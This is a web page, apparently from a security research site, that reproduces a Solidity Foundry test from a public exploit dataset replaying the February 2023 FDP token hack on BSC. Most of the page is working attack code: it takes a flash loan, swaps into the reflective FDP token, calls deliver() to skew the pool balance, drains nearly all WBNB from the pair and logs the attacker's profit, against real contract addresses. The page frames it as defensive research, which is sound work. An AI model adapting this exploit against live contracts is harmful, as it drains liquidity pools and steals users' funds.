Skip to content
THREATWIRE

Public reproduction file

src/test/2023-02/FDP_exp.sol

Public reproduction file for dataset entry - FDP.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-02/FDP_exp.sol113 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5
6// Attacker: https://bscscan.com/address/0xc726bd0e973722e17eb088b8fcfedaa931fa0293
7// Attack Contract: https://bscscan.com/address/0xe02970bd38b283c3079720c1e71001abe001bc83
8// Attack Tx: https://phalcon.blocksec.com/tx/bsc/0x09925028ce5d6a54801d04ff8f39e79af6c24289e84b301ddcdb6adfa51e901b
9// https://bscscan.com/tx/0x09925028ce5d6a54801d04ff8f39e79af6c24289e84b301ddcdb6adfa51e901b
11// @Analysis
12// https://twitter.com/BeosinAlert/status/1622806011269771266
14contract Exploit is Test {
15 IWETH private constant WBNB = IWETH(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
16 reflectiveERC20 private constant FDP = reflectiveERC20(0x1954b6bd198c29c3ecF2D6F6bc70A4D41eA1CC07);
17 IUniswapV2Pair private constant FDP_WBNB = IUniswapV2Pair(0x6db8209C3583E7Cecb01d3025c472D1eDDBE49F3);
19 IRouter private constant router = IRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);
20 IDPPOracle private constant DPP = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);
22 function testHack() external {
23 vm.createSelectFork("bsc", 25_430_418);
25 // flashloan 16.32 WBNB
26 DPP.flashLoan(16.32 ether, 0, address(this), "0x1");
27 }
29 function DPPFlashLoanCall(address, uint256 baseAmount, uint256, bytes calldata) external {
30 // console.log("%s FDP in Pair before swap", FDP.balanceOf(address(FDP_WBNB)) / 1e18); // putting console.log here make test fail ?
32 // swap some WBNB to FDP
33 WBNB.approve(address(router), type(uint256).max);
34 FDP.approve(address(router), type(uint256).max);
35 address[] memory path = new address[](2);
36 path[0] = address(WBNB);
37 path[1] = address(FDP);
38 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
39 16.32 ether, 0, path, address(this), type(uint256).max
40 );
42 console.log("%s FDP in Pair before deliver", FDP.balanceOf(address(FDP_WBNB)) / 1e18);
43 console.log("%s FDP in attack contract before deliver", FDP.balanceOf(address(this)) / 1e18);
44 console.log("-------------Delivering-------------");
45 // 49925109590047580102880 in attack contract before deliver
46 FDP.deliver(28_463.16 ether); // 28463162603585437380302 (8 decimals)
48 console.log("%s FDP in Pair after deliver", FDP.balanceOf(address(FDP_WBNB)) / 1e18);
49 console.log("%s FDP in attack contract after deliver", FDP.balanceOf(address(this)) / 1e18);
51 FDP_WBNB.swap(
52 0,
53 WBNB.balanceOf(address(FDP_WBNB)) - 0.15 ether, // 32.44 ether
54 address(this),
55 ""
56 );
58 // repay
59 WBNB.transfer(address(DPP), baseAmount);
60 console.log("\n Attacker's profit: %s WBNB", WBNB.balanceOf(address(this)) / 1e18);
61 }
64/* -------------------- Interface -------------------- */
65interface reflectiveERC20 {
66 function transfer(address to, uint256 amount) external returns (bool);
67 function approve(address spender, uint256 amount) external returns (bool);
68 function balanceOf(
69 address account
70 ) external view returns (uint256);
71 function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
73 function deliver(
74 uint256 tAmount
75 ) external;
78interface IWETH {
79 function deposit() external payable;
80 function transfer(address to, uint256 value) external returns (bool);
81 function approve(address guy, uint256 wad) external returns (bool);
82 function withdraw(
83 uint256 wad
84 ) external;
85 function balanceOf(
86 address
87 ) external view returns (uint256);
90interface IDPPOracle {
91 function flashLoan(uint256 baseAmount, uint256 quoteAmount, address sender, bytes calldata data) external;
94interface IRouter {
95 function swapExactTokensForTokensSupportingFeeOnTransferTokens(
96 uint256 amountIn,
97 uint256 amountOutMin,
98 address[] calldata path,
99 address to,
100 uint256 deadline
101 ) external;
104interface IUniswapV2Pair {
105 function balanceOf(
106 address
107 ) external view returns (uint256);
108 function skim(
109 address to
110 ) external;
111 function sync() external;
112 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes memory data) external;

Analysis

Dataset entry

Public Foundry test for “- FDP” (2023-02-06). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xc726bd0e973722e17eb088b8fcfedaa931fa0293

  • Attack Contract

    0xe02970bd38b283c3079720c1e71001abe001bc83

  • Attack Tx

    0x09925028ce5d6a54801d04ff8f39e79af6c24289e84b301ddcdb6adfa51e901b

File record

Name
FDP
Path
src/test/2023-02/FDP_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
b8bfac29cbd9135245a2411525e67d07c8859480
Language
Solidity
Size
114 lines
Date
2023-02-06
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-02/FDP_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob b8bfac29cbd9135245a2411525e67d07c8859480, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.